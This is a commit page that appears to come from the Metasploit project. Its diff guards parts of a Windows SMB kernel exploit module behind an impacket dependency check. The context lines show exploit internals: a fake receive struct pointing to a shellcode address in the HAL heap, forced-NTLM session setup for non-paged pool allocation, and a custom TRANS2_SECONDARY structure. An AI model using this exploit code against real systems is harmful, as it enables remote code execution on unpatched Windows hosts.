address missed impacket dependency check

GSoC/Meterpreter_Web_Console
Jeffrey Martin 2018-06-21 13:39:43 -05:00
parent a91ad8c09c
commit 2f40b2cb45
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
1 changed files with 22 additions and 19 deletions

View File

@ -319,7 +319,8 @@ fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode addr
def getNTStatus(self): def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass'] return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) if not dependencies_missing:
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data): def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket() pkt = smb.NewSMBPacket()
@ -342,13 +343,14 @@ def sendEcho(conn, tid, data):
# override SMB.neg_session() to allow forcing ntlm authentication # override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB): if not dependencies_missing:
def __init__(self, remote_host, use_ntlmv2=True): class MYSMB(smb.SMB):
self.__use_ntlmv2 = use_ntlmv2 def __init__(self, remote_host, use_ntlmv2=True):
smb.SMB.__init__(self, remote_host, remote_host) self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
def neg_session(self, extended_security = True, negPacket = None): def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket) smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def createSessionAllocNonPaged(target, size, username, password): def createSessionAllocNonPaged(target, size, username, password):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
@ -412,18 +414,19 @@ def createSessionAllocNonPaged(target, size, username, password):
# Note: impacket-0.9.15 struct has no ParameterDisplacement # Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33) ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters): if not dependencies_missing:
structure = ( class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
('TotalParameterCount','<H=0'), structure = (
('TotalDataCount','<H'), ('TotalParameterCount','<H=0'),
('ParameterCount','<H=0'), ('TotalDataCount','<H'),
('ParameterOffset','<H=0'), ('ParameterCount','<H=0'),
('ParameterDisplacement','<H=0'), ('ParameterOffset','<H=0'),
('DataCount','<H'), ('ParameterDisplacement','<H=0'),
('DataOffset','<H'), ('DataCount','<H'),
('DataDisplacement','<H=0'), ('DataOffset','<H'),
('FID','<H=0'), ('DataDisplacement','<H=0'),
) ('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement): def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket() pkt = smb.NewSMBPacket()